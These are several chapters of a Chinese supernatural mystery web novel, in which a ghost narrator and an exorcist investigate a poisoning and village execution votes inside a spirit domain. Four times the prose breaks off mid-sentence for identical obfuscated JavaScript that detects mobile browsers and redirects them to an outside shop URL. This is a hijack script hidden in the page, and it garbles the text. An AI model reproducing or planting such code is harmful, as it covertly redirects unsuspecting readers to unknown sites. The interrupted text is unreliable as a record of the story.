“下毒还不简单?”杨天明嗤之以鼻,“在袖子或者什么地方准备好毒药,撒进去不过也就是几秒钟的事情,连练习都用不到。” “先暂停一下。我有一个问题想问。” 我突然开口,举起手,提问打断两人的争吵,“你们不奇怪,毒药是从哪里来的吗?” 争吵暂且中止,连闹哄哄的场面也一时安静。 杨天明迎着我恳切的求知目光,沉默两秒,大概作为老师的职业素养被唤醒,解答道:“是这样的,在此之前每一次邪灵出现时,无论是被用作杀人的毒药还是刀刃,都会突兀地出现在行凶者手上。我们也都认为这是邪灵的赠与,没必要追究来历。” “原来如此。”我点点头,继续道,“确实,如果想给左子宁投毒的话,必须是经手了她那份餐食,才有可能。” “毕竟,食堂所有的餐具都是公用的,随机取得,想要提前给左子宁的餐具下毒,是无法做到的。只有当盛饭的那一刻,她所使用的餐具和饭菜才会被确定下来。” “对吧,”杨天明点头,赞同的表情很像是看到学生答对了题目,“无论怎么说,经手那份饭菜的人都只有方泰和一个人。当时坐在你们附近的人,都已经看得很清楚了。” 方泰和怒目圆睁,正欲发话,却被我拦住了。 “但是,昨天的下毒,也未必是一次针对左子宁的投毒,不是吗?” “根据以往邪灵降临的情况来看,被附身者并没有被邪灵指定,一定要杀死某个人的迹象吧?” 我话语一转,“既然如此,将毒随意涂抹在食堂的某副餐盘中,其实也能达到同样的目的。” 我看向主管厨房餐具的帮厨程飞才。 “比如说在提供餐盘时,就在某副餐盘之上,涂抹好毒药。” 程飞才突然发现矛头已经指向自己,不善言辞的青年惊得嘴唇发抖,盯着我支支吾吾憋了半天,才挤出四个字,“胡说八道。” “对啊,就是胡说八道。” 我露出一个轻巧的笑,“推理嘛,总是会有各种结论。虽然这种可能性也成立,但可能性确实也相对较小。” “毕竟昨天左子宁和方泰和来食堂吃饭时,大多数人都已经在食堂就坐了。左子宁是来得较晚的一个,所以取用的餐盘肯定也是一摞中位置靠后的。” “但如果我是你,肯定不会将毒药涂抹在位置偏后的餐盘上。” “因为你无法控制每个人到来的时间,如果恰好等你回来时,正轮到你取用那个有毒的餐盘,而你却偏要避开这个餐盘取用别的,这一幕被人看到了,肯定会引起怀疑。” “为求保险,你肯定会将毒药涂抹在偏早被取用的餐盘之中。这样,在你取酒回来前,这个餐盘就已经被人拿走去使用了。” “也就是说,如果你真是凶手,受害人应该就不是较晚到来的左子宁。” “所以,你作案的可能性,确实是相对较低的。” 看我得出这个结论,程飞才的脸色肉眼可见地松弛下来。 我接着又道:“当然,虽然你直接下毒的可能性很低,但在餐盘上下毒的可能性仍然不能算小。” “也就是说,”我语气加重。“只要是在左子宁之前取餐接触过餐盘的人,都有可能借机在剩下的某一个餐盘上下毒。” 这句话出口,原本尚且安静的人群猛然嘈杂起来,显然我这句话直接将一盆脏水兜头浇在了众人身上。 一直沉默着的村长杨谷终于开口道:“你的意思是,在左子宁之前取饭的所有人,包括我,都是有嫌疑的。” 和之前一样,杨谷的声音并不算很大,但她开口之时,其他村民的声音明显小了很多。她一顿,慢条斯理地分析道:“确实,每个人打饭时,都是背对着餐桌的。如果想在这个期间对其他餐盘做什么小动作,有身体作为阻挡,被人发现的可能性也很小。” “这样说来,在左子宁之后打饭的,就是苏吉光、姚千,还有刘君雅和小田玥五个人了。除此之外,都是在方泰和和左子宁取餐前就已经打了饭的,有机会接触到餐具的人。” 当时坐在我们对面的杨天明已经飞速确定了当时最后的取餐顺序。 “那在此之前的取餐顺序呢?”高中生三人中唯一戴着眼镜的说道,“餐盘堆叠在那里,其实是很沉的。如果是最早来的人,要那起六七张餐盘,给位置靠后的餐盘下毒,根本没有必要。” 这人好像叫谢年,长着一张好学生的面相,语气也颇为稳重。 “照这样说,和子宁姐相隔三四张餐盘的人不是最有嫌疑了?”一旁叫做赖子昂的少年接着他的话道。 谢年点点头:“三四张餐盘,是最能顺手拿起来的厚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150831|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度了。” 话说到这里,祠堂众人于是根据当时取餐的顺序,列出了一个大致排序。在左子宁前面第三和第四取餐的人,分别是村长杨谷和最初发现左子宁中毒的村民孔文。 这两人也由此被列入了重点的怀疑的名单之中。 孔文也没有坐以待毙,虽然内容苍白,但好歹也为自己争辩了几句。倒是杨谷神色淡定,对于自己的嫌疑不发一言,只是宣布道:“时间到了,该说的都差不多了,再多也没有意义。投票吧。” 而在第一轮指认凶手的投票中,也的确并没有投给杨谷的。得票最多的不出所料是方泰和,一共14张票,他自己便大揽6张。 这样看来,虽然众人对随机投毒的情况讨论得相当激烈,但不少人仍认为方泰和故意投毒的可能最大。这倒也在我意料之中。 除此之外,得票第二多的居然是杨天明。他和左子宁取餐的时间间隔也相当接近,算是投毒可能比较大的那几人之一。大概是因为他这种强硬态度值得怀疑,不光是方泰和,还有三个人都投了他,共得4票。 而在投票过程中,我也听到了来自学生赖子昂的小声念叨:“每次投票时都是这么一副激动的样子,你还不了解他?” 但很快就被杨谷喝止不要说话了。 顺便一提,田玥虽然年纪小,却也有着平等的投票权利,据说这是那本书所制定的规则——不论年龄,每个人都必须投出自己的一票,投票才能真正作为村子的意志而生效。 不过从实际情况来看,小田玥似乎只是跟着妈妈有样学样地跟出了一票而已。 我和姚千则分别投了可能性比较低的两人,平衡了投票的分布。 第二轮投票开始,投票内容是是否对上一轮得票最多的方泰和进行处决。 由于随机下毒的理论经过了长时间的讨论,确实已经深入人心,到这一轮投票时,实在没有几个人敢认定他就是真正的投毒凶手。 最后只剩下杨谷和孔文投了同意执行的票,其余人等全部选择了放弃执行。 这两人也分别给出了自己的理由,杨谷的解释是:“我猜这一轮不会执行了,但我希望借这一票告诉大家,不要因为之前投错过,错杀过无辜的人,就丧失投票杀死邪灵的决心。” 孔文给出的理由则更主观一些:“可能是我个人的看法,我认为方泰和在这前后的表现非常可疑,说不出来的可疑。” 倒是最能搅水的杨天明在这一步没有投执行票,反倒是看着我说:“我也觉得你说得有点道理,但我还是觉得,方泰和是最有可能犯案的人。” 清晨的投票就此结束,不必执行,从讨论到投出结果,花费了接近两个小时,结束时离午饭都只有一个多小时了。 不必执行,大家纷纷散开,该做什么做什么去了。一番投票过后,村中已经丧失了最初的和睦温馨,众人沉默着离开,古怪气氛形成看不见的暗流,在人与人之间粘稠地涌动。 这倒是并不令人担心,想来即便我和姚千最终不能破解这个灵域,他们也会在本次邪灵降临后不久,被操纵着回归到幸福和谐氛围中去的——反正这样周而复始过也不只一次两次了。 我和姚千回到自己房间不久,任谊就敲门过来了,脸上带着肉眼可见的不愉快。 “我不明白。”任谊似乎克制着自己的情绪,“确实,理论上存在随机投毒的可能,我也想到了。” “但是,经过昨天的讨论,你应该也知道了,刘子宁被其他人杀害的可能性其实微乎其微,你又为什么要主动提出来?” “真凶一天不被投出来,当天晚上,就还会有其他人遇害的。” 虽然第二轮任谊没有投票同意执行,但第一轮投票时,他也是投给方泰和的其中一员。 他盯着我,突然问道:“怎么,因为你害怕杀人?害怕借自己的投票去杀人?” 12. 爱与杀戮的桃源乡08 “如果你承认我昨天所说的那些,那么左子宁就不应该是被随机杀害的。” 他皱起眉指责我道,“只有被亲近的人杀害,灵域主人才能取得最大收益。所以投毒者不可能是在随机杀人。” “你所说的随机投毒,与其说可能性微乎其微,还不如说,根本是不可能存在的!” 我听到这话也不恼,摆出笑嘻嘻的嘴脸:“这算是在指责我吗?” 这句话一下卡得任谊有些接不上话,过了两秒才道:“我不能理解你这样做。” “好吧,谢谢你的直言不讳。”我弯起眼看他,“不过,你有没有想到过,你的这套理论,本质上也是自相矛盾的?” 任谊一愣。 “想要杀人者和被杀者爆发出激烈情绪,至少需要两人知道冲突的产生吧?”我道,“杀人者被操控而意志不清,而被杀者也不清楚是谁杀了她,那他们又从哪里产生激烈的负面情绪?” “如果想要获得最大的收益,那么左子宁就应该在死前知道自己是被方泰和下毒杀死的。但事实好像并非如此。” 我问他:“左子宁死前的样子你应该也看到了吧?她可不像是对方泰和抱有怨恨的样子。” 任谊的神情渐渐从疑惑转向茫然:“所以你的意思是……方泰和并不是杀死左子宁的真正凶手?” “我没说啊。” 我答得很迅速,“其实到目前为止,我也认为方泰和是嫌疑最大的那个人。” “……” 看到任谊的表情已经有点难以控制了,我笑了一声:“我的意思是,无论凶手是哪个人,都不重要。” “既然凶手是被邪灵所控制的,那么他本质上也是被害人。找出这个人并杀了他,也只是按照灵域主人制定的剧本行事而已。” 见任谊还想继续说话,我抢先说出了他的台词:“我知道,你想说无论如何,找出被邪灵控制的那个人,至少可以阻止接下来的杀戮。” “但如果我说,那本书上记载的,本身就是错的呢?” 任谊不说话了,他的眉头渐渐皱了起来。 姚千淡淡道:“我理解你的感受。规则是灵域的构成基础,以规则形式出现在灵域中的任何存在,都值得重视。在你的理解中,针对于邪灵降临的规则,也是灵域规则的一部分。” “所以,”任谊道,“那本书上记载的,并不是这个灵域中真正的规则?” “即便是灵域告诉你的规则,也有可能是假的。”不知为何,姚千说这句话的时候,看了我一眼。 不懂他用意几何。事实上我作为一个残灵,对灵域规则之类也并没有太多认识,我所了解到的只是我从过往和现在的情况中获知的推论。 “其实是这样的,我们昨天互相交流情报时,漏掉了一点。” 我解释道,“你应该还不知道,木秋在魂灵被杀死之后,被杀的魂灵重新回到了身体之中,因为身体还没有死亡,所以被杀死的魂灵仍然被禁锢在这个身体之中,偶尔还能恢复一些意识。” “她曾经说,自己只杀过两个人。” 我眯起眼,“但是,今天在祠堂上他们提起来时,在上次的邪灵降临中,木秋一共杀死了三个人,对吧?” “对。”任谊一顿,回忆道,“当时的情况是,在第一个人被杀后,我们投票杀死了一个叫陈宇的村民。” “但在那个人被杀后,还是出现了被害人,于是在又两个人死亡后,我们才投票选出了木秋。” “在木秋死后,被害人果然不再出现。所以,木秋就是被邪灵操纵的那个人。” 他说着说着眉头皱起,“所以为什么说她只杀了两个人?” 我道:“在她的描述中,她确实被邪灵操控了,但她杀死的只有李博和田事仁。” “第二个和第三个被害人……” 任谊的眼睛骤然睁大了,“也就是说,我们并没有选错第一个邪灵附身者。” “但因为这种发展并不符合灵域主人的要求,所以邪灵再次附身在了木秋身上,直到杀死3个人,灵域主人才满意收手……” “又或者邪灵这种称谓,本身也只是编故事骗村民投票的借口罢了。”我语气轻巧地接道,“‘邪灵’又是哪里来的?从头到尾,只是灵域主人运用它控制情绪的能力,来杀人取乐罢了。” “只要用上‘驱逐邪灵’的名号,就能诱骗村民自相残杀,互相憎恨。如果杀死的人数不符合灵域主人的意愿,换个人诱导接着杀人就是了。” “反正最后也没人公布正确答案,村民想要的只是不再死人的结果罢了。被投票而死的人是否是真凶,真的那么重要吗?” 一些糟糕的想法从脑中穿过,我露出笑容,“说不定,现在村中还存在着杀过人而没有被揪出来的村民呢?毕竟这一切都死无对证,没人知道了吧。” 任谊似乎被我吓到了,最开始的不解和愤怒已经荡然无存,眼神中带着说不清是恐惧还是畏惧的意味,朝后缩了一下:“你不要说得那么恐怖。” “我说的难道不是实情吗?”我十分好心地安慰他,“我知道你接受有困难,没关系,这也是人之常情。” 可惜任谊没有露出被我安慰到的表情。 “……倒也不需要这样安慰我。”他用手背抹抹额头,“你的意思就是,投票的结果没有任何意义,即便找出‘被邪灵所附身’的那个人,灵域主人也可以很快选出下一个被附身的村民。” “我现在明白了。”任谊又朝姚千看看,“所以,这是你们刚才在祠堂的那一会儿时间里,就推论出的结果?” “是她自己的想法,”姚千撇得很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150832|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干净,“发言也是。” “你倒是也对助手的自主行动不加阻拦啊。”我眯眼朝姚千道。 姚千看我一眼,回道:“我阻止你,你就不做吗?” “那倒不会。”我道,“毕竟我认为我做的一定是对的。” 我听到姚千好像笑了一声,回过头又见他神色很淡定地总结:“既然如此,那也没什么好说的了。” “所以,接下来,你们打算怎么做?”刚才的一番话显然使任谊的态度茫然起来。 我好整以暇地看姚千一眼:“问你呢,姚大师。” “我感觉你应该已经有一套答案了。”姚千道,“我听你的。” “那好吧。”我等的就是这句话,立刻十分大方地分享道,“我目前的想法大致有两点。” “第一,虽然投票杀死灵域主人所操控的人选不能彻底阻止杀戮1,但找出此人的具体身份,还是很有价值的。” “毕竟根据之前的情况,灵域主人应该还是倾向于利用同一个人完成连续杀人的,毕竟这样比较方便。”我伸出一根手指,“找出这人的具体身份,就可以监视他的行动,防止他杀死下一个人。” “其次就是阻止村民投票杀人,也就是在阻止灵域主人按照它的计划进行下去。它必然不会放任不管,一旦采取行动,我们就更有可能从它的行动中找到破绽。” 任谊的表情逐渐混合费解和茫然。 我继续道:“我想说的第二点,就与此相关了。这个灵域主人,必然是存在破绽的,毕竟它曾经不顾破坏这个村子明面上的和平稳定,也要杀死侵犯了它秘密的驱灵师曹玉成。” “也就是说,它在曹玉成身上感受到了威胁,才会反应那么大。” “它杀死曹玉成的方式如此直接,既没有直接使用灵域的规则,也没有能等到下一次‘邪灵降临’的时间。说明一来它不具备使用灵域规则直接杀死驱灵师的能力,二来它对于曹玉成的调查感到了紧张,迫不及待地要以正面方式杀死他灭口,生怕再晚一些,就将要被他触及到更重要的东西。” “综合以上,只要我们坚持目前制定的两种行动方针,这个灵域主人就一定会自己找上门来的。而既然它无法使用灵域规则直接致人于死地,它开始行动的时刻,也就是露出破绽的时刻。” 任谊张了张嘴,又合上,千言万语汇成一句。 “姐……” 我惊悚地看他:“我看起来没有比你年纪大吧?” “表达一种尊敬。”任谊理所当然道,“您应该入行很多年了吧?” 怎么还用上了“您”啊! 没等任谊接着说下去,我赶紧打住了这个话题,朝姚千道:“你还有什么见解,姚大师?” 姚千垂着眼不知道在想什么,见我问他,回道:“听你的。” 13. 爱与杀戮的桃源乡09 就此,三人暂时达成一致意见。 任谊期待地看向我,表情让我想起一些非常听话的犬类宠物:“姐,接下来我们做什么?” 我想了想:“你随意,我打算先去刘君雅的厨房那里坐坐。” “你怀疑她?”任谊想了想,“仔细想想,她的表现确实……” “我饿了,想去厨房蹭点吃的。”我说。 “……好的。” 任谊去其他地方转悠,姚千跟着我来到了厨房。刘君雅和程飞才在厨房里各自沉默着处理食材,没了昨天的和谐氛围。 自从昨晚尝到了食物的味道,我一直对此念念不忘。这可是真正意义上的过了这村没这店,想再尝到食物味道不知要等多久。 刘君雅听我说饿了,失笑道:“早晨食堂可剩了不少饭,大家都没什么胃口。怎么你还饿得这么快?” 我认真道:“万一有人要杀我,吃饱也才有力气反抗。” “……好心态。” 刘君雅说着,从柜子里拿出大量零食。 既然祠堂长桌上可以无限供应各种物品,说明这个村落里的物品供应还是相当丰富的。尽管已经有了心理准备,但当我真的看到柜子里琳琅满目的包装袋时,也愣了愣。 其中竟然还有不少巧克力、膨化食品之类的食物,想来左子宁口袋里的巧克力豆肯定也是来源于这里。 刘君雅让我随意挑选,我左左右右拿了不少,还往姚千怀里塞了两袋,让他帮我拿着。 走的时候,半人高的小田玥站在门口,眼巴巴瞧我手里的零食,希冀之意昭然若揭。刘君雅看出我的动摇:“你不要给她,她总吃零食,都不吃饭了。” “好吧。”我冲小女孩耸肩,明目张胆推卸责任,“是妈妈不让你吃的。” 田玥瘪嘴。 我愉快品味零食,和姚千往村子另一个方向走。 一路上也没见到方泰和,这人像是伤心过度,从昨晚起就一副失魂落魄的样子,又因为嫌疑在身,也没什么人去安慰他。 想到这里,我突然又寻思起来,走在身边的姚千也算是遭遇过女友死亡的人。 “说起来,我还挺好奇的,既然你说我当时失踪了,那你有没有找过我?”我问道。 走在我身边的姚千没有作答,我等了十来秒,也就知道他什么意思了,嗯嗯两声,非常好心地把话接下去:“行吧,毕竟是校园恋情,大概相处时间短,不那么上心也是人之常情。” 等我给他找补完了,姚千又突然出声:“你是主动走的。” 我吃薯片的动作顿了一下,沉默两秒,突然想起那天姚千在车上所说的“抛弃”。他说我抛弃了他——这句话起先实在令我不解,难道我的死亡还能是一种抛下他不成? 你不过是死了,我可是失去了爱情!——总不能是这种弱智思路吧。 但如果加上这句话,似乎有了解释。 我问:“你的意思是,我抛下你独自走了?那又为什么死掉了?” 姚千又不说话了,只摇摇头,一张表情淡淡的脸上缺少可供推测的依据。 关于我的问题,这厮总保持一问三不知的态度,我已经非常习惯了。 上午到底没有见到方泰和,由于投票耽误了时间,厨房中午开饭的时间也延迟了一个多小时,等吃完饭,已经是半下午。 我于是去田埂边陪着众人干了半下午农活,休息时间,我坐在杨谷身边,想问问她对之前邪灵降临的印象。 之所以选择杨谷,的确是因为在上午的投票中,除了出头鸟杨天明,就是这位村长的表现最让人印象深刻。 说起杨天明,我和任谊还有一段有关于他的谈话。 “他一直都是这么勇……”我实在忍不住向任谊询问,“于出风头吗?” “之前也是这样的,”任谊干笑两声,“大家也都习惯了。” 我恍然:“原来是习惯成自然,怪不得。这么爱带节奏,居然没有被第一个架到火上去。” 回到当下。“这种事我经历过几次?”杨谷对我的问题有些心不在焉,但答得很快,“这是我见到的第三次了。” “听说之前还有一次,但我已经不太清楚了。”她语气平淡中带着些许麻木,“我见到的第一次,就是我丈夫死去的时候。” “说实话,这两年我总觉得自己记性不太好。”她轻轻地叹气,“之前这里都有过什么人,我已经记得不太清楚了。大家来了又去,半年见不到的面孔,渐渐就再也想不起来长什么样子了。” 我不太清楚怎样接上她的问题,干脆又问出一个问题:“那在你来之前就已经来了的人,都有谁啊?” 杨谷看我一眼,有些意义不明,但还是回答了我的问题:“还在的除了那三个孩子,就是霍乐和程飞才。君雅没来之前,都是飞才和另一个人一起在厨房。” “霍乐和程飞才是一起来的?”我接着问。 “对,他们说过自己是一个旅行团。一共来了四个人,第二次投票两个人就都没了,只剩下霍乐和飞才。” 晚饭结束,任谊又来房间找我,他下午去和方泰和聊天,可惜没什么收获。 “姐,你和姚先生这边调查得怎么样?”任谊问我。 我回他:“灵域主人应该是三个学生之一。” 任谊差点把嘴里的水吐出来。 姚千在旁边也听见了,但是一脸淡定,不说话也不问我原因。我怀疑他也猜出来了,只是没有说。当然更大的可能是,他只是伪装成什么都料到的样子,以维持自己的高水平驱灵师的形象。 “为什么?”任谊问我。 “很简单啊,他们是最早到的那一批人。”我理所当然地反问他,“你都在这里待了这么久,多少也应该想到了吧?” “这点我倒是知道,但仅凭这个,也只能把范围缩小到三个学生,和霍乐程飞才身上吧。”任谊道,“你又为什么要把这两个人排除?” “因为他们认识的人死了。”我说。 任谊不语,我继续解释:“如果你是灵域主人,如果要加害自己认识的人,会将什么人拉进自己的灵域里?” “害过我的人。”他答得很迅速。 我点点头,夸他:“孺子可教。所以,你既然这么恨这人,是让他爽快地死掉,还是留在身边慢慢折磨?” “……我懂了。”任谊流露出那种信了但也不像是完全信了的样子。 “也就是说,和灵域主人一同进入灵域里的人,现在应该还活着。” 又在我们屋里聊了几句,天色逐渐转向昏黄,任谊有点担心地看着窗外,“不知道今晚会不会还有人遇害。” “可能性比较小。”我说。 “为什么?”任谊不疑有他。 我笑了笑,框他:“随便说的。” 趁着天黑前,任谊从屋里离开了。村子里没有网,更不存在电子设备,夜间生活就显得非常无聊。 不得不说,我才在姚千那里住了短短几天,就已经惨遭人类生活腐化——开始想念姚千家的电脑了。 没有电脑玩,只能早早睡觉。 我问姚千:“特殊时期,我打地铺睡在你屋里怎么样?” “这就是你跟任谊说,今晚有人遇害可能性较小的原因?” 姚千这人也不说行不行,张口就反问我。 我用手撑着下巴歪过头,挑眉问他:“那你知道我打的是什么心思?” “既然是在灵域之中,灵域主人自然可以明晰灵域中每个人的动向。” 姚千没什么语气,“你今天在祠堂、在任谊面前说了那么多,对不对暂且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14150833|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另说,炫耀之意却很明显。” “你想让灵域主人注意到你。” 他看向我,宣布答案,“感觉到你的威胁,将你当做它的下一个目标。” 我眯起眼笑:“不愧是姚大师。” “所以麻烦你晚上好好看着我,不要让人随便杀了我,你也好好注意自己,不要自己被操控而杀了我。”我叮嘱他。 “这是兵行险棋。”姚千评价。 我眨眨眼,大方道:“这叫堂堂正正的阳谋,力量和谋略的双重碾压。谋略是我的,力量是你的,我相信正面对决你肯定不会输的。这是组织上对你的信任,姚同志。” 我凑上去拍拍他肩膀。 “……”姚千看上去有点无奈,又有点好笑,没说话。 过一会儿又想起来什么,说,“我打地铺,你睡床。” 我当然不怕我和姚千的这些话也被灵域主人听到,所谓阳谋——就是它即便知道我是故意在钓它,也不能拒绝上钩。 毕竟越是如此,越显示出我是一个难对付的家伙,越早下手越好。 我和姚千各自洗漱完休息,我问姚千需不需要轮流守夜。 姚千的回答平淡且冷酷:“不用,我也担心你守夜时杀了我。” 我从善如流地笑笑:“你这种时刻小心提防的精神值得学习。” 熄灯睡觉,他躺在地铺上半阖上眼,大概是在假寐休息。我躺在床上,当然是半点儿睡意也没有。虽然白天和任谊说需要找到杀死左子宁的真凶,但今天一天,我并没有真的去这样做。 在我看来,如果今晚灵域主人真的上钩,那么这个问题很快就会失去意义。 灵域主人如果想要杀害我,方法不过这么几种。 首选方法,就是派遣那个被它所操控的人类来杀死我。这是最容易想到的方法,但对于灵域主人来说,也存在一个重要障碍——那就是姚千的存在。 既然对灵域内的情况有所了解,灵域主人多半也能意识到,姚千身上是存在着强大灵力的。一个普通人类想越过姚千杀掉我,难度并不算小。 当然,针对于此,灵域主人可能会赋予那个人一定的能力,借此让他拥有能够杀掉我的机会。 第二种方法,则更直接粗暴一些,灵域主人可以考虑直接操纵姚千杀死我。 针对这种可能,我倒也挺有信心,既然姚千没有被灵域主人所影响记忆,那么被彻底操纵的可能性应该也不会太大。 在我看来,姚千应当可以通过灵域主人试图操纵他的灵力来源,顺藤摸瓜找到它,至少让灵域主人露出更多破绽。 这是我最想看到的局面,也是我今天一番布置下来,最大的目的。 姚千说我是兵行险棋,我倒不反对这种说法。但是处在这样的灵域中,如果不主动出手,又怎么能迅速打破局面? 只要预期的收益大过风险,就是值得的。 种种想法从我脑中迅速转过,大概是思虑过多,我竟然也有些犯起困来。 在这个村子中,我好像真正拥有了人类的身体,食欲、疲倦都显得格外真实,令做惯了孤魂野鬼的我一时不太适应。 我试图用疼痛驱散困意,想伸出手拧一下自己的手臂。 手腕动不了。 手指无法弯曲。 困意瞬间消散,有如冰块散开融进血液里。 ——它居然直接操纵了我? 有电流从脊椎直窜大脑,如果不是身体被操纵,我一定会打个寒颤。 确实,为什么就一定要他杀?之前没有,不代表着现在不可以有。 既然能直接出手杀死曹玉成,就说明这个灵域主人实在不是个坚持原则的家伙,察觉到危险,随时可能更改自己一贯的行事风格。 把他杀变成自杀,也不是不行啊?! 14. 爱与杀戮的桃源乡10 床铺的簌簌声传来,姚千已经从地铺站起身,打开了灯。 他已经察觉到我被操纵了? 我的身体也从床上站起来,有陌生情绪不断挤进大脑,试图操控我的思维,我尽量在强烈的情绪冲刷下保持着刚才的思绪。 视线转换,身体和姚千对视,我发现自己的嘴角正在不受控制地翘起。 很容易想象到——我正向姚千展示一个阴冷且带有嘲讽的笑容。 …… 不是,你究竟在得意什么? 你不控制姚千是因为不想控制他吗?拣我这样的软柿子捏住了你还挺自豪啊! 如果不是情况紧急,我还能再吐槽几句,现下却只能先考虑更为要紧的事情。 虽然我不像驱灵师一样拥有特殊能力,但毕竟和寻常魂灵不同。我作为残灵,多少也有着寻常人所难以企及的灵力水平。 虽然一直不清楚如何能将这种力量转化成可使用的能力,但我也时常观测着自己灵力的增长情况。 当初从田野间来到城市,想要拥有更多灵力,其实也是缘由之一。 到底怎样才能使用这些灵力改变现状? 在我漫无边际的思索中,时间变得格外漫长,不知过了多久,我才听到姚千的声音。 “你确定你能杀了她?” 属于我的身体开始发力,我能够感受到肌肉的颤抖,但于此同时的是,我的身体一动不动。 多么熟悉啊,我心头腹诽。这不就是我第一次见到姚千时,在便利店经历过的那种感觉吗?浑身被不知名的存在所束缚,仿佛被冰块整个冻住,无法动弹。 是姚千在操纵着周围的空气——此刻,灵域主人试图控制我的身体,却被姚千用这种方式阻止了。 显然,对方操纵我的身体不成,也逐渐意识到了问题的存在。 我听到自己桀桀地笑起来:“这是我的灵域。想要控制进入灵域的存在,对我而言,可以说轻而易举。” 它用我的眉眼挑衅道,“而你,借助灵力使用这些能力,究竟能到达什么程度呢?” 忽而,上下牙突然闭合,舌间剧痛。 它打算直接令我咬舌自尽! 显然,姚千还不能未卜先知到此等地步。 这短暂的数秒之间,我试图操纵面部或身体做出提示,使得姚千注意到当下的局面。但也需要姚千立刻意识到问题的所在,再使用灵力操纵我口腔中的空气——等他反应过来,我早就因为舌头断开而血流成河了。 还能怎么办? 剧痛开始压迫我的神经,疼痛并没有因为无法操纵身体而减少。 这一瞬之间,我的意识开始因为疼痛而变得模糊和漫长,舌间爆开铁锈味道,几乎能感觉到牙齿轧入舌肉。 到底怎样才能切断灵域主人对我的操纵? 切断。 已然混乱恍惚的意识中,一道细细的长线突然出现在其中。 那是一道绷紧的银色细线,在识海混沌背景下,也如同发光一般地闪烁着金属的亮色。 看不到来处的线紧绷着,纤细锐利,从无法触及的方向,延伸到遥远处。 疼痛不知何时消泯。这一瞬之间,我忘记迫在眉梢的性命之忧,注意力完全被它吸引过去。 笔直、锋利、足以斩断一切存在。 我仿佛听到这根线在询问我。 ——你想切断什么? 我没有说话,只是伸出手去,想触碰到这根线。 它已在我的控制之下。脑中突然闪过这样的意识。 眼前倏然大亮。 精神还魂,疼痛再次袭来,我的意识回到身体和姚千对峙的小屋。 眼前情景已然变化,我能够清晰看到,有什么由灵域地面探出的无形存在,正紧紧缠缚着我,那正是灵域主人操纵我的千万条提线! 斩断它! 心念转动的同时同刻,锋利的线刃闪电般自上而下,斩断了所有束缚! 下一秒,牙齿间的力度松开,疼痛减轻,我浑身一松,意识重新控制回身体。我朝后一步,两腿用力,渐渐站定。 在我视线中,被切断的无形存在逃也似的迅速消失,灵域主人大概也被我突然的发作吓到,瞬间埋入了地下。 再回神时,已经连个尾巴都找不见了。 ……逃得还挺快。 只这么电光火石的几秒钟之间,屋内的情景便发生了翻天覆地的变化。 姚千很快意识到了方才剧烈的灵力波动,现下属于灵域主人的灵力已经消失,他有些意外,但在我的解释下,还是放开了对空气的控制,令我的身体恢复了自由。 自由的感觉虽然甜美,却并不是那么光彩。我含含糊糊噙着一嘴的血和口水,拿着水杯去厕所漱了漱口,又拿镜子对着昏暗灯光观察舌头的受伤情况。 姚千目光一直追随我的行动,直到我将伤口打量清楚,才轻声问道:“怎么样?” 我没在意他有些奇怪的语气,专心观察自己的伤口。 “问题不大,”我看了好一会儿才确认,“只有一点咬破了。” 但疼还是疼。 他默了默,过了一会儿,才找话题一般地道:“你刚才用了线。” 姚千说话之肯定,让我也有点意外。他怎么知道那是我操纵的线,而不是别的什么东西? “嗯。”我将镜子放下,看向他,“是有线,那是用我灵力所形成的线,应该类似你们所使用的特殊能力吧?” 对于我突然展现出来的能力,姚千居然不显得意外,只是语气略带困惑:“你用线切断了什么?” 我想了想:“那家伙的控制。” 姚千似乎陷入了短暂的思考,片刻才道:“可是,那不是实际存在的东西。” “什么?”我不明白他的意思。 “灵域主人对你的操纵,本质上并不是某种可以真实存在的‘东西’。它既不是一种物品,不像被灵力所操纵的空气,或者你灵力直接形成的线一样,是实际存在的。” 他向我解释道,“灵域主人对你的操纵,就像我对你所说的‘语言’,人与人之间的‘气氛’一样,虽然它被灵力所运用,但本质上是无形的。” “这样的东西,是怎么切断的?”姚千看着我,问道。 我这才反应过来,之前的切断来得太丝滑流畅,我一时也不觉得这有什么问题。 “是我看到了……所以切断了。” 一顿,我继续道:“是因为我产生了斩断的想法,所以在我的视角里,它形成了‘具象’的形象,一种可以被线切断的样子。” “大概,是因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 